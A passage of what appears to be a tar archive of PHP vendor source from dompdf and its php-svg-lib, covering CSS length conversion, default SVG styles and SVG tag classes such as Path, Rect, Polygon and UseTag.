     * @param string $options
     */
    function setFontFamily($family, $options = '')
    {
        if (!is_array($options)) {
            if ($family === 'init') {
                // set the known family groups
                // these font families will be used to enable bold and italic markers to be included
                // within text streams. html forms will be used... <b></b> <i></i>
                $this->fontFamilies['Helvetica.afm'] =
                    [
                        'b'  => 'Helvetica-Bold.afm',
                        'i'  => 'Helvetica-Oblique.afm',
                        'bi' => 'Helvetica-BoldOblique.afm',
                        'ib' => 'Helvetica-BoldOblique.afm'
                    ];

                $this->fontFamilies['Courier.afm'] =
                    [
                        'b'  => 'Courier-Bold.afm',
                        'i'  => 'Courier-Oblique.afm',
                        'bi' => 'Courier-BoldOblique.afm',
                        'ib' => 'Courier-BoldOblique.afm'
                    ];

                $this->fontFamilies['Times-Roman.afm'] =
                    [
                        'b'  => 'Times-Bold.afm',
                        'i'  => 'Times-Italic.afm',
                        'bi' => 'Times-BoldItalic.afm',
                        'ib' => 'Times-BoldItalic.afm'
                    ];
            }
        } else {

            // the user is trying to set a font family
            // note that this can also be used to set the base ones to something else
            if (mb_strlen($family)) {
                $this->fontFamilies[$family] = $options;
            }
        }
    }

    /**
     * used to add messages for use in debugging
     *
     * @param $message
     */
    function addMessage($message)
    {
        $this->messages .= $message . "\n";
    }

    /**
     * a few functions which should allow the document to be treated transactionally.
     *
     * @param $action
     */
    function transaction($action)
    {
        switch ($action) {
            case 'start':
                // store all the data away into the checkpoint variable
                $data = get_object_vars($this);
                $this->checkpoint = $data;
                unset($data);
                break;

            case 'commit':
                if (is_array($this->checkpoint) && isset($this->checkpoint['checkpoint'])) {
                    $tmp = $this->checkpoint['checkpoint'];
                    $this->checkpoint = $tmp;
                    unset($tmp);
                } else {
                    $this->checkpoint = '';
                }
                break;

            case 'rewind':
                // do not destroy the current checkpoint, but move us back to the state then, so that we can try again
                if (is_array($this->checkpoint)) {
                    // can only abort if were inside a checkpoint
                    $tmp = $this->checkpoint;

                    foreach ($tmp as $k => $v) {
                        if ($k !== 'checkpoint') {
                            $this->$k = $v;
                        }
                    }
                    unset($tmp);
                }
                break;

            case 'abort':
                if (is_array($this->checkpoint)) {
                    // can only abort if were inside a checkpoint
                    $tmp = $this->checkpoint;
                    foreach ($tmp as $k => $v) {
                        $this->$k = $v;
                    }
                    unset($tmp);
                }
                break;
        }
    }
}
vendor/dompdf/php-svg-lib/src/Svg/CssLength.php000066600000005776151150443010015410 0ustar00<?php

namespace Svg;

class CssLength
{
    /**
     * Array of valid css length units.
     * Should be pre-sorted by unit text length so no earlier length can be
     * contained within a latter (eg. 'in' within 'vmin').
     *
     * @var string[]
     */
    protected static $units = [
        'vmax',
        'vmin',
        'rem',
        'px',
        'pt',
        'cm',
        'mm',
        'in',
        'pc',
        'em',
        'ex',
        'ch',
        'vw',
        'vh',
        '%',
        'q',
    ];

    /**
     * A list of units that are inch-relative, and their unit division within an inch.
     *
     * @var array<string, float>
     */
    protected static $inchDivisions = [
        'in' => 1,
        'cm' => 2.54,
        'mm' => 25.4,
        'q' => 101.6,
        'pc' => 6,
        'pt' => 72,
    ];

    /**
     * The CSS length unit indicator.
     * Will be lower-case and one of the units listed in the '$units' array or empty.
     *
     * @var string
     */
    protected $unit = '';

    /**
     * The numeric value of the given length.
     *
     * @var float
     */
    protected $value = 0;

    /**
     * The original unparsed length provided.
     *
     * @var string
     */
    protected $unparsed;

    public function __construct(string $length)
    {
        $this->unparsed = $length;
        $this->parseLengthComponents($length);
    }

    /**
     * Parse out the unit and value components from the given string length.
     */
    protected function parseLengthComponents(string $length): void
    {
        $length = strtolower($length);

        foreach (self::$units as $unit) {
            $pos = strpos($length, $unit);
            if ($pos) {
                $this->value = floatval(substr($length, 0, $pos));
                $this->unit = $unit;
                return;
            }
        }

        $this->unit = '';
        $this->value = floatval($length);
    }

    /**
     * Get the unit type of this css length.
     * Units are standardised to be lower-cased.
     *
     * @return string
     */
    public function getUnit(): string
    {
        return $this->unit;
    }

    /**
     * Get this CSS length in the equivalent pixel count size.
     *
     * @param float $referenceSize
     * @param float $dpi
     *
     * @return float
     */
    public function toPixels(float $referenceSize = 11.0, float $dpi = 96.0): float
    {
        // Standard relative units
        if (in_array($this->unit, ['em', 'rem', 'ex', 'ch'])) {
            return $this->value * $referenceSize;
        }

        // Percentage relative units
        if (in_array($this->unit, ['%', 'vw', 'vh', 'vmin', 'vmax'])) {
            return $this->value * ($referenceSize / 100);
        }

        // Inch relative units
        if (in_array($this->unit, array_keys(static::$inchDivisions))) {
            $inchValue = $this->value * $dpi;
            $division = static::$inchDivisions[$this->unit];
            return $inchValue / $division;
        }

        return $this->value;
    }
}vendor/dompdf/php-svg-lib/src/Svg/DefaultStyle.php000066600000001232151150443010016102 0ustar00<?php
/**
 * @package php-svg-lib
 * @link    http://github.com/dompdf/php-svg-lib
 * @license GNU LGPLv3+ http://www.gnu.org/copyleft/lesser.html
 */

namespace Svg;

class DefaultStyle extends Style
{
    public $color = [0, 0, 0, 1];
    public $opacity = 1.0;
    public $display = 'inline';

    public $fill = [0, 0, 0, 1];
    public $fillOpacity = 1.0;
    public $fillRule = 'nonzero';

    public $stroke = 'none';
    public $strokeOpacity = 1.0;
    public $strokeLinecap = 'butt';
    public $strokeLinejoin = 'miter';
    public $strokeMiterlimit = 4;
    public $strokeWidth = 1.0;
    public $strokeDasharray = 0;
    public $strokeDashoffset = 0;
}
vendor/dompdf/php-svg-lib/src/Svg/Tag/UseTag.php000066600000007162151150443010015410 0ustar00<?php
/**
 * @package php-svg-lib
 * @link    http://github.com/dompdf/php-svg-lib
 * @license GNU LGPLv3+ http://www.gnu.org/copyleft/lesser.html
 */

namespace Svg\Tag;

class UseTag extends AbstractTag
{
    protected $x = 0;
    protected $y = 0;
    protected $width;
    protected $height;
    protected $instances = 0;

    /** @var AbstractTag */
    protected $reference;

    protected function before($attributes)
    {
        $this->instances++;
        if ($this->instances > 1) {
            //TODO: log circular reference error state
            return;
        }

        if (isset($attributes['x'])) {
            $this->x = $attributes['x'];
        }
        if (isset($attributes['y'])) {
            $this->y = $attributes['y'];
        }

        if (isset($attributes['width'])) {
            $this->width = $attributes['width'];
        }
        if (isset($attributes['height'])) {
            $this->height = $attributes['height'];
        }

        parent::before($attributes);

        $document = $this->getDocument();

        $link = $attributes["href"] ?? $attributes["xlink:href"];
        $this->reference = $document->getDef($link);

        $surface = $document->getSurface();
        $surface->save();

        $surface->translate($this->x, $this->y);
    }

    protected function after() {
        if ($this->instances > 0) {
            return;
        }
        parent::after();
        $this->getDocument()->getSurface()->restore();
    }

    public function handle($attributes)
    {
        if ($this->instances > 1) {
            //TODO: log circular reference error state
            return;
        }

        parent::handle($attributes);

        if (!$this->reference) {
            return;
        }

        $originalAttributes = array_merge($this->reference->attributes);
        $originalStyle = $this->reference->getStyle();
        $mergedAttributes = $this->reference->attributes;
        $attributesToNotMerge = ['x', 'y', 'width', 'height', 'href', 'xlink:href', 'id', 'style'];
        foreach ($attributes as $attrKey => $attrVal) {
            if (!in_array($attrKey, $attributesToNotMerge) && !isset($mergedAttributes[$attrKey])) {
                $mergedAttributes[$attrKey] = $attrVal;
            }
        }
        $mergedAttributes['style'] = ($attributes['style'] ?? '') . ';' . ($mergedAttributes['style'] ?? '');

        $this->_handle($this->reference, $mergedAttributes);

        $this->reference->attributes = $originalAttributes;
        if ($originalStyle !== null) {
            $this->reference->setStyle($originalStyle);
        }
    }

    public function handleEnd()
    {
        $this->instances--;
        if ($this->instances > 0) {
            return;
        }

        if ($this->reference) {
            $this->_handleEnd($this->reference);
        }

        parent::handleEnd();
    }

    private function _handle($tag, $attributes) {
        $tag->handle($attributes);
        foreach ($tag->children as $child) {
            $originalAttributes = array_merge($child->attributes);
            $originalStyle = $child->getStyle();
            $mergedAttributes = $child->attributes;
            $mergedAttributes['style'] = ($attributes['style'] ?? '') . ';' . ($mergedAttributes['style'] ?? '');
            $this->_handle($child, $mergedAttributes);
            $child->attributes = $originalAttributes;
            if ($originalStyle !== null) {
                $child->setStyle($originalStyle);
            }
        }
    }

    private function _handleEnd($tag) {
        foreach ($tag->children as $child) {
            $this->_handleEnd($child);
        }
        $tag->handleEnd();
    }
} 
vendor/dompdf/php-svg-lib/src/Svg/Tag/Line.php000066600000002103151150443010015075 0ustar00<?php
/**
 * @package php-svg-lib
 * @link    http://github.com/dompdf/php-svg-lib
 * @license GNU LGPLv3+ http://www.gnu.org/copyleft/lesser.html
 */

namespace Svg\Tag;

use Svg\Style;

class Line extends Shape
{
    protected $x1 = 0;
    protected $y1 = 0;

    protected $x2 = 0;
    protected $y2 = 0;

    public function start($attributes)
    {
        $height = $this->document->getHeight();
        $width = $this->document->getWidth();

        if (isset($attributes['x1'])) {
            $this->x1 = $this->convertSize($attributes['x1'], $width);
        }
        if (isset($attributes['y1'])) {
            $this->y1 = $this->convertSize($attributes['y1'], $height);
        }
        if (isset($attributes['x2'])) {
            $this->x2 = $this->convertSize($attributes['x2'], $width);
        }
        if (isset($attributes['y2'])) {
            $this->y2 = $this->convertSize($attributes['y2'], $height);
        }

        $surface = $this->document->getSurface();
        $surface->moveTo($this->x1, $this->y1);
        $surface->lineTo($this->x2, $this->y2);
    }
} 
vendor/dompdf/php-svg-lib/src/Svg/Tag/Polygon.php000066600000001665151150443010015651 0ustar00<?php
/**
 * @package php-svg-lib
 * @link    http://github.com/dompdf/php-svg-lib
 * @license GNU LGPLv3+ http://www.gnu.org/copyleft/lesser.html
 */

namespace Svg\Tag;

class Polygon extends Shape
{
    public function start($attributes)
    {
        $tmp = array();
        preg_match_all('/([\-]*[0-9\.]+)/', $attributes['points'], $tmp, PREG_PATTERN_ORDER);

        $points = $tmp[0];
        $count = count($points);

        if ($count < 4) {
            // nothing to draw
            return;
        }

        $surface = $this->document->getSurface();
        list($x, $y) = $points;
        $surface->moveTo($x, $y);

        for ($i = 2; $i < $count; $i += 2) {
            if ($i + 1 === $count) {
                // invalid trailing point
                continue;
            }
            $x = $points[$i];
            $y = $points[$i + 1];
            $surface->lineTo($x, $y);
        }

        $surface->closePath();
    }
} 
vendor/dompdf/php-svg-lib/src/Svg/Tag/Polyline.php000066600000001626151150443010016012 0ustar00<?php
/**
 * @package php-svg-lib
 * @link    http://github.com/dompdf/php-svg-lib
 * @license GNU LGPLv3+ http://www.gnu.org/copyleft/lesser.html
 */

namespace Svg\Tag;

class Polyline extends Shape
{
    public function start($attributes)
    {
        $tmp = array();
        preg_match_all('/([\-]*[0-9\.]+)/', $attributes['points'], $tmp, PREG_PATTERN_ORDER);

        $points = $tmp[0];
        $count = count($points);

        if ($count < 4) {
            // nothing to draw
            return;
        }

        $surface = $this->document->getSurface();
        list($x, $y) = $points;
        $surface->moveTo($x, $y);

        for ($i = 2; $i < $count; $i += 2) {
            if ($i + 1 === $count) {
                // invalid trailing point
                continue;
            }
            $x = $points[$i];
            $y = $points[$i + 1];
            $surface->lineTo($x, $y);
        }
    }
} 
vendor/dompdf/php-svg-lib/src/Svg/Tag/Rect.php000066600000002442151150443010015111 0ustar00<?php
/**
 * @package php-svg-lib
 * @link    http://github.com/dompdf/php-svg-lib
 * @license GNU LGPLv3+ http://www.gnu.org/copyleft/lesser.html
 */

namespace Svg\Tag;

use Svg\Style;

class Rect extends Shape
{
    protected $x = 0;
    protected $y = 0;
    protected $width = 0;
    protected $height = 0;
    protected $rx = 0;
    protected $ry = 0;

    public function start($attributes)
    {
        $width = $this->document->getWidth();
        $height = $this->document->getHeight();

        if (isset($attributes['x'])) {
            $this->x = $this->convertSize($attributes['x'], $width);
        }
        if (isset($attributes['y'])) {
            $this->y = $this->convertSize($attributes['y'], $height);
        }

        if (isset($attributes['width'])) {
            $this->width = $this->convertSize($attributes['width'], $width);
        }
        if (isset($attributes['height'])) {
            $this->height = $this->convertSize($attributes['height'], $height);
        }

        if (isset($attributes['rx'])) {
            $this->rx = $attributes['rx'];
        }
        if (isset($attributes['ry'])) {
            $this->ry = $attributes['ry'];
        }

        $this->document->getSurface()->rect($this->x, $this->y, $this->width, $this->height, $this->rx, $this->ry);
    }
} 
vendor/dompdf/php-svg-lib/src/Svg/Tag/Symbol.php000066600000001220151150443010015452 0ustar00<?php
/**
 * @package php-svg-lib
 * @link    http://github.com/dompdf/php-svg-lib
 * @license GNU LGPLv3+ http://www.gnu.org/copyleft/lesser.html
 */

namespace Svg\Tag;

use Svg\Style;

class Symbol extends AbstractTag
{
    protected function before($attributes)
    {
        $surface = $this->document->getSurface();

        $surface->save();

        $style = $this->makeStyle($attributes);

        $this->setStyle($style);
        $surface->setStyle($style);

        $this->applyViewbox($attributes);
        $this->applyTransform($attributes);
    }

    protected function after()
    {
        $this->document->getSurface()->restore();
    }
}vendor/dompdf/php-svg-lib/src/Svg/Tag/Path.php000066600000046673151150443010015126 0ustar00<?php
/**
 * @package php-svg-lib
 * @link    http://github.com/dompdf/php-svg-lib
 * @license GNU LGPLv3+ http://www.gnu.org/copyleft/lesser.html
 */

namespace Svg\Tag;

use Svg\Surface\SurfaceInterface;

class Path extends Shape
{
    // kindly borrowed from fabric.util.parsePath.
    /* @see https://github.com/fabricjs/fabric.js/blob/master/src/util/path.js#L664 */
    const NUMBER_PATTERN = '([-+]?(?:\d*\.\d+|\d+\.?)(?:[eE][-+]?\d+)?)\s*';
    const COMMA_PATTERN = '(?:\s+,?\s*|,\s*)?';
    const FLAG_PATTERN = '([01])';
    const ARC_REGEXP = '/'
        . self::NUMBER_PATTERN
        . self::COMMA_PATTERN
        . self::NUMBER_PATTERN
        . self::COMMA_PATTERN
        . self::NUMBER_PATTERN
        . self::COMMA_PATTERN
        . self::FLAG_PATTERN
        . self::COMMA_PATTERN
        . self::FLAG_PATTERN
        . self::COMMA_PATTERN
        . self::NUMBER_PATTERN
        . self::COMMA_PATTERN
        . self::NUMBER_PATTERN
        . '/';

    static $commandLengths = array(
        'm' => 2,
        'l' => 2,
        'h' => 1,
        'v' => 1,
        'c' => 6,
        's' => 4,
        'q' => 4,
        't' => 2,
        'a' => 7,
    );

    static $repeatedCommands = array(
        'm' => 'l',
        'M' => 'L',
    );

    public static function parse(string $commandSequence): array
    {
        $commands = array();
        preg_match_all('/([MZLHVCSQTAmzlhvcsqta])([eE ,\-.\d]+)*/', $commandSequence, $commands, PREG_SET_ORDER);
        
        $path = array();
        foreach ($commands as $c) {
            if (count($c) == 3) {
                $commandLower = strtolower($c[1]);

                // arcs have special flags that apparently don't require spaces.
                if ($commandLower === 'a' && preg_match_all(static::ARC_REGEXP, $c[2], $matches, PREG_PATTERN_ORDER)) {
                    $numberOfMatches = count($matches[0]);
                    for ($k = 0; $k < $numberOfMatches; ++$k) {
                        $path[] = [
                            $c[1],
                            $matches[1][$k],
                            $matches[2][$k],
                            $matches[3][$k],
                            $matches[4][$k],
                            $matches[5][$k],
                            $matches[6][$k],
                            $matches[7][$k],
                        ];
                    }
                    continue;
                }

                $arguments = array();
                preg_match_all('/([-+]?((\d+\.\d+)|((\d+)|(\.\d+)))(?:e[-+]?\d+)?)/i', $c[2], $arguments, PREG_PATTERN_ORDER);
                $item = $arguments[0];

                if (
                    isset(self::$commandLengths[$commandLower]) &&
                    ($commandLength = self::$commandLengths[$commandLower]) &&
                    count($item) > $commandLength
                ) {
                    $repeatedCommand = isset(self::$repeatedCommands[$c[1]]) ? self::$repeatedCommands[$c[1]] : $c[1];
                    $command = $c[1];

                    for ($k = 0, $klen = count($item); $k < $klen; $k += $commandLength) {
                        $_item = array_slice($item, $k, $k + $commandLength);
                        array_unshift($_item, $command);
                        $path[] = $_item;

                        $command = $repeatedCommand;
                    }
                } else {
                    array_unshift($item, $c[1]);
                    $path[] = $item;
                }

            } else {
                $item = array($c[1]);

                $path[] = $item;
            }
        }

        return $path;
    }

    public function start($attributes)
    {
        if (!isset($attributes['d'])) {
            $this->hasShape = false;

            return;
        }

        $path = static::parse($attributes['d']);
        $surface = $this->document->getSurface();

        // From https://github.com/kangax/fabric.js/blob/master/src/shapes/path.class.js
        $current = null; // current instruction
        $previous = null;
        $subpathStartX = 0;
        $subpathStartY = 0;
        $x = 0; // current x
        $y = 0; // current y
        $controlX = 0; // current control point x
        $controlY = 0; // current control point y
        $tempX = null;
        $tempY = null;
        $tempControlX = null;
        $tempControlY = null;
        $l = 0; //-((this.width / 2) + $this.pathOffset.x),
        $t = 0; //-((this.height / 2) + $this.pathOffset.y),

        foreach ($path as $current) {
            switch ($current[0]) { // first letter
                case 'l': // lineto, relative
                    $x += $current[1];
                    $y += $current[2];
                    $surface->lineTo($x + $l, $y + $t);
                    break;

                case 'L': // lineto, absolute
                    $x = $current[1];
                    $y = $current[2];
                    $surface->lineTo($x + $l, $y + $t);
                    break;

                case 'h': // horizontal lineto, relative
                    $x += $current[1];
                    $surface->lineTo($x + $l, $y + $t);
                    break;

                case 'H': // horizontal lineto, absolute
                    $x = $current[1];
                    $surface->lineTo($x + $l, $y + $t);
                    break;

                case 'v': // vertical lineto, relative
                    $y += $current[1];
                    $surface->lineTo($x + $l, $y + $t);
                    break;

                case 'V': // verical lineto, absolute
                    $y = $current[1];
                    $surface->lineTo($x + $l, $y + $t);
                    break;

                case 'm': // moveTo, relative
                    $x += $current[1];
                    $y += $current[2];
                    $subpathStartX = $x;
                    $subpathStartY = $y;
                    $surface->moveTo($x + $l, $y + $t);
                    break;

                case 'M': // moveTo, absolute
                    $x = $current[1];
                    $y = $current[2];
                    $subpathStartX = $x;
                    $subpathStartY = $y;
                    $surface->moveTo($x + $l, $y + $t);
                    break;

                case 'c': // bezierCurveTo, relative
                    $tempX = $x + $current[5];
                    $tempY = $y + $current[6];
                    $controlX = $x + $current[3];
                    $controlY = $y + $current[4];
                    $surface->bezierCurveTo(
                        $x + $current[1] + $l, // x1
                        $y + $current[2] + $t, // y1
                        $controlX + $l, // x2
                        $controlY + $t, // y2
                        $tempX + $l,
                        $tempY + $t
                    );
                    $x = $tempX;
                    $y = $tempY;
                    break;

                case 'C': // bezierCurveTo, absolute
                    $x = $current[5];
                    $y = $current[6];
                    $controlX = $current[3];
                    $controlY = $current[4];
                    $surface->bezierCurveTo(
                        $current[1] + $l,
                        $current[2] + $t,
                        $controlX + $l,
                        $controlY + $t,
                        $x + $l,
                        $y + $t
                    );
                    break;

                case 's': // shorthand cubic bezierCurveTo, relative

                    // transform to absolute x,y
                    $tempX = $x + $current[3];
                    $tempY = $y + $current[4];

                    if (!preg_match('/[CcSs]/', $previous[0])) {
                        // If there is no previous command or if the previous command was not a C, c, S, or s,
                        // the control point is coincident with the current point
                        $controlX = $x;
                        $controlY = $y;
                    } else {
                        // calculate reflection of previous control points
                        $controlX = 2 * $x - $controlX;
                        $controlY = 2 * $y - $controlY;
                    }

                    $surface->bezierCurveTo(
                        $controlX + $l,
                        $controlY + $t,
                        $x + $current[1] + $l,
                        $y + $current[2] + $t,
                        $tempX + $l,
                        $tempY + $t
                    );
                    // set control point to 2nd one of this command
                    // "... the first control point is assumed to be
                    // the reflection of the second control point on
                    // the previous command relative to the current point."
                    $controlX = $x + $current[1];
                    $controlY = $y + $current[2];

                    $x = $tempX;
                    $y = $tempY;
                    break;

                case 'S': // shorthand cubic bezierCurveTo, absolute
                    $tempX = $current[3];
                    $tempY = $current[4];

                    if (!preg_match('/[CcSs]/', $previous[0])) {
                        // If there is no previous command or if the previous command was not a C, c, S, or s,
                        // the control point is coincident with the current point
                        $controlX = $x;
                        $controlY = $y;
                    } else {
                        // calculate reflection of previous control points
                        $controlX = 2 * $x - $controlX;
                        $controlY = 2 * $y - $controlY;
                    }

                    $surface->bezierCurveTo(
                        $controlX + $l,
                        $controlY + $t,
                        $current[1] + $l,
                        $current[2] + $t,
                        $tempX + $l,
                        $tempY + $t
                    );
                    $x = $tempX;
                    $y = $tempY;

                    // set control point to 2nd one of this command
                    // "... the first control point is assumed to be
                    // the reflection of the second control point on
                    // the previous command relative to the current point."
                    $controlX = $current[1];
                    $controlY = $current[2];

                    break;

                case 'q': // quadraticCurveTo, relative
                    // transform to absolute x,y
                    $tempX = $x + $current[3];
                    $tempY = $y + $current[4];

                    $controlX = $x + $current[1];
                    $controlY = $y + $current[2];

                    $surface->quadraticCurveTo(
                        $controlX + $l,
                        $controlY + $t,
                        $tempX + $l,
                        $tempY + $t
                    );
                    $x = $tempX;
                    $y = $tempY;
                    break;

                case 'Q': // quadraticCurveTo, absolute
                    $tempX = $current[3];
                    $tempY = $current[4];

                    $surface->quadraticCurveTo(
                        $current[1] + $l,
                        $current[2] + $t,
                        $tempX + $l,
                        $tempY + $t
                    );
                    $x = $tempX;
                    $y = $tempY;
                    $controlX = $current[1];
                    $controlY = $current[2];
                    break;

                case 't': // shorthand quadraticCurveTo, relative

                    // transform to absolute x,y
                    $tempX = $x + $current[1];
                    $tempY = $y + $current[2];

                    // calculate reflection of previous control points
                    if (preg_match('/[QqT]/', $previous[0])) {
                        $controlX = 2 * $x - $controlX;
                        $controlY = 2 * $y - $controlY;
                    } elseif ($previous[0] === 't') {
                        $controlX = 2 * $x - $tempControlX;
                        $controlY = 2 * $y - $tempControlY;
                    } else {
                        $controlX = $x;
                        $controlY = $y;
                    }

                    $tempControlX = $controlX;
                    $tempControlY = $controlY;

                    $surface->quadraticCurveTo(
                        $controlX + $l,
                        $controlY + $t,
                        $tempX + $l,
                        $tempY + $t
                    );
                    $x = $tempX;
                    $y = $tempY;
                    break;

                case 'T':
                    $tempX = $current[1];
                    $tempY = $current[2];

                    // calculate reflection of previous control points
                    if (preg_match('/[QqTt]/', $previous[0])) {
                        $controlX = 2 * $x - $controlX;
                        $controlY = 2 * $y - $controlY;
                    } else {
                        $controlX = $x;
                        $controlY = $y;
                    }

                    $surface->quadraticCurveTo(
                        $controlX + $l,
                        $controlY + $t,
                        $tempX + $l,
                        $tempY + $t
                    );
                    $x = $tempX;
                    $y = $tempY;
                    break;

                case 'a':
                    $this->drawArc(
                        $surface,
                        $x + $l,
                        $y + $t,
                        array(
                            $current[1],
                            $current[2],
                            $current[3],
                            $current[4],
                            $current[5],
                            $current[6] + $x + $l,
                            $current[7] + $y + $t
                        )
                    );
                    $x += $current[6];
                    $y += $current[7];
                    break;

                case 'A':
                    // TODO: optimize this
                    $this->drawArc(
                        $surface,
                        $x + $l,
                        $y + $t,
                        array(
                            $current[1],
                            $current[2],
                            $current[3],
                            $current[4],
                            $current[5],
                            $current[6] + $l,
                            $current[7] + $t
                        )
                    );
                    $x = $current[6];
                    $y = $current[7];
                    break;

                case 'z':
                case 'Z':
                    $x = $subpathStartX;
                    $y = $subpathStartY;
                    $surface->closePath();
                    break;
            }
            $previous = $current;
        }
    }

    function drawArc(SurfaceInterface $surface, $fx, $fy, $coords)
    {
        $rx = $coords[0];
        $ry = $coords[1];
        $rot = $coords[2];
        $large = $coords[3];
        $sweep = $coords[4];
        $tx = $coords[5];
        $ty = $coords[6];
        $segs = array(
            array(),
            array(),
            array(),
            array(),
        );

        $toX = $tx - $fx;
        $toY = $ty - $fy;

        if ((float)($toX + $toY) === 0.0) {
            return;
        }

        if ((float)abs($rx) == 0.0 || (float)abs($ry) === 0.0) {
            $surface->lineTo($tx, $ty);
            return;
        }

        $segsNorm = $this->arcToSegments($toX, $toY, $rx, $ry, $large, $sweep, $rot);

        for ($i = 0, $len = count($segsNorm); $i < $len; $i++) {
            $segs[$i][0] = $segsNorm[$i][0] + $fx;
            $segs[$i][1] = $segsNorm[$i][1] + $fy;
            $segs[$i][2] = $segsNorm[$i][2] + $fx;
            $segs[$i][3] = $segsNorm[$i][3] + $fy;
            $segs[$i][4] = $segsNorm[$i][4] + $fx;
            $segs[$i][5] = $segsNorm[$i][5] + $fy;

            call_user_func_array(array($surface, "bezierCurveTo"), $segs[$i]);
        }
    }

    function arcToSegments($toX, $toY, $rx, $ry, $large, $sweep, $rotateX)
    {
        $th = $rotateX * M_PI / 180;
        $sinTh = sin($th);
        $cosTh = cos($th);
        $fromX = 0;
        $fromY = 0;

        $rx = abs($rx);
        $ry = abs($ry);

        $px = -$cosTh * $toX * 0.5 - $sinTh * $toY * 0.5;
        $py = -$cosTh * $toY * 0.5 + $sinTh * $toX * 0.5;
        $rx2 = $rx * $rx;
        $ry2 = $ry * $ry;
        $py2 = $py * $py;
        $px2 = $px * $px;
        $pl = $rx2 * $ry2 - $rx2 * $py2 - $ry2 * $px2;
        $root = 0;

        if ($pl < 0) {
            $s = sqrt(1 - $pl / ($rx2 * $ry2));
            $rx *= $s;
            $ry *= $s;
        } else {
            $root = ($large == $sweep ? -1.0 : 1.0) * sqrt($pl / ($rx2 * $py2 + $ry2 * $px2));
        }

        $cx = $root * $rx * $py / $ry;
        $cy = -$root * $ry * $px / $rx;
        $cx1 = $cosTh * $cx - $sinTh * $cy + $toX * 0.5;
        $cy1 = $sinTh * $cx + $cosTh * $cy + $toY * 0.5;
        $mTheta = $this->calcVectorAngle(1, 0, ($px - $cx) / $rx, ($py - $cy) / $ry);
        $dtheta = $this->calcVectorAngle(($px - $cx) / $rx, ($py - $cy) / $ry, (-$px - $cx) / $rx, (-$py - $cy) / $ry);

        if ($sweep == 0 && $dtheta > 0) {
            $dtheta -= 2 * M_PI;
        } else {
            if ($sweep == 1 && $dtheta < 0) {
                $dtheta += 2 * M_PI;
            }
        }

        // $Convert $into $cubic $bezier $segments <= 90deg
        $segments = ceil(abs($dtheta / M_PI * 2));
        $result = array();
        $mDelta = $dtheta / $segments;
        $mT = 8 / 3 * sin($mDelta / 4) * sin($mDelta / 4) / sin($mDelta / 2);
        $th3 = $mTheta + $mDelta;

        for ($i = 0; $i < $segments; $i++) {
            $result[$i] = $this->segmentToBezier(
                $mTheta,
                $th3,
                $cosTh,
                $sinTh,
                $rx,
                $ry,
                $cx1,
                $cy1,
                $mT,
                $fromX,
                $fromY
            );
            $fromX = $result[$i][4];
            $fromY = $result[$i][5];
            $mTheta = $th3;
            $th3 += $mDelta;
        }

        return $result;
    }

    function segmentToBezier($th2, $th3, $cosTh, $sinTh, $rx, $ry, $cx1, $cy1, $mT, $fromX, $fromY)
    {
        $costh2 = cos($th2);
        $sinth2 = sin($th2);
        $costh3 = cos($th3);
        $sinth3 = sin($th3);
        $toX = $cosTh * $rx * $costh3 - $sinTh * $ry * $sinth3 + $cx1;
        $toY = $sinTh * $rx * $costh3 + $cosTh * $ry * $sinth3 + $cy1;
        $cp1X = $fromX + $mT * (-$cosTh * $rx * $sinth2 - $sinTh * $ry * $costh2);
        $cp1Y = $fromY + $mT * (-$sinTh * $rx * $sinth2 + $cosTh * $ry * $costh2);
        $cp2X = $toX + $mT * ($cosTh * $rx * $sinth3 + $sinTh * $ry * $costh3);
        $cp2Y = $toY + $mT * ($sinTh * $rx * $sinth3 - $cosTh * $ry * $costh3);

        return array(
            $cp1X,
            $cp1Y,
            $cp2X,
            $cp2Y,
            $toX,
            $toY
        );
    }

    function calcVectorAngle($ux, $uy, $vx, $vy)
    {
        $ta = atan2($uy, $ux);
        $tb = atan2($vy, $vx);
        if ($tb >= $ta) {
            return $tb - $ta;
        } else {
            return 2 * M_PI - ($ta - $tb);
        }
    }
}
vendor/dompdf/php-svg-lib/src/Svg/Tag/Shape.php000066600000002755151150443010015263 0ustar00<?php
/**
 * @package php-svg-lib
 * @link    http://github.com/dompdf/php-svg-lib
 * @license GNU LGPLv3+ http://www.gnu.org/copyleft/lesser.html
 */

namespace Svg\Tag;

use Svg\Style;

class Shape extends AbstractTag
{
    protected function before($attributes)
    {
        $surface = $this->document->getSurface();

        $surface->save();

        $style = $this->makeStyle($attributes);

        $this->setStyle($style);
        $surface->setStyle($style);

        $this->applyTransform($attributes);
    }

    protected function after()
    {
        $surface = $this->document->getSurface();

        if ($this->hasShape) {
            $style = $surface->getStyle();

            $fill   = $style->fill   && is_array($style->fill);
            $stroke = $style->stroke && is_array($style->stroke);

            if ($fill) {
                if ($stroke) {
                    $surface->fillStroke(false);
                } else {
//                    if (is_string($style->fill)) {
//                        /** @var LinearGradient|RadialGradient $gradient */
//                        $gradient = $this->getDocument()->getDef($style->fill);
//
//                        var_dump($gradient->getStops());
//                    }

                    $surface->fill();
                }
            }
            elseif ($stroke) {
                $surface->stroke(false);
            }
            else {
                $surface->endPath();
            }
        }

        $surface->restore();
    }
} vendor/dompdf/php-svg-lib/src/Svg/Tag/Group.php000066600000001147151150443010015311 0ustar00<?php
/**
 * @package php-svg-lib
 * @link    http://github.com/dompdf/php-svg-lib
 * @license GNU LGPLv3+ http://www.gnu.org/copyleft/lesser.html
 */

namespace Svg\Tag;

use Svg\Style;

class Group extends AbstractTag
{
    protected function before($attributes)
    {
        $surface = $this->document->getSurface();

        $surface->save();

        $style = $this->makeStyle($attributes);

        $this->setStyle($style);
        $surface->setStyle($style);

        $this->applyTransform($attributes);
    }

    protected function after()
    {
        $this->document->getSurface()->restore();
    }
} 
vendor/dompdf/php-svg-lib/src/Svg/Tag/Ellipse.php000066600000002106151150443010015606 0ustar00<?php
/**
 * @package php-svg-lib
 * @link    http://github.com/dompdf/php-svg-lib
 * @license GNU LGPLv3+ http://www.gnu.org/copyleft/lesser.html
 */

namespace Svg\Tag;

use Svg\Style;

class Ellipse extends Shape
{
    protected $cx = 0;
    protected $cy = 0;
    protected $rx = 0;
    protected $ry = 0;

    public function start($attributes)
    {
        parent::start($attributes);

        $width = $this->document->getWidth();
        $height = $this->document->getHeight();

        if (isset($attributes['cx'])) {
            $this->cx = $this->convertSize($attributes['cx'], $width);
        }
        if (isset($attributes['cy'])) {
            $this->cy = $this->convertSize($attributes['cy'], $height);
        }
        if (isset($attributes['rx'])) {
            $this->rx = $this->convertSize($attributes['rx'], $width);
        }
        if (isset($attributes['ry'])) {
            $this->ry = $this->convertSize($attributes['ry'], $height);
        }

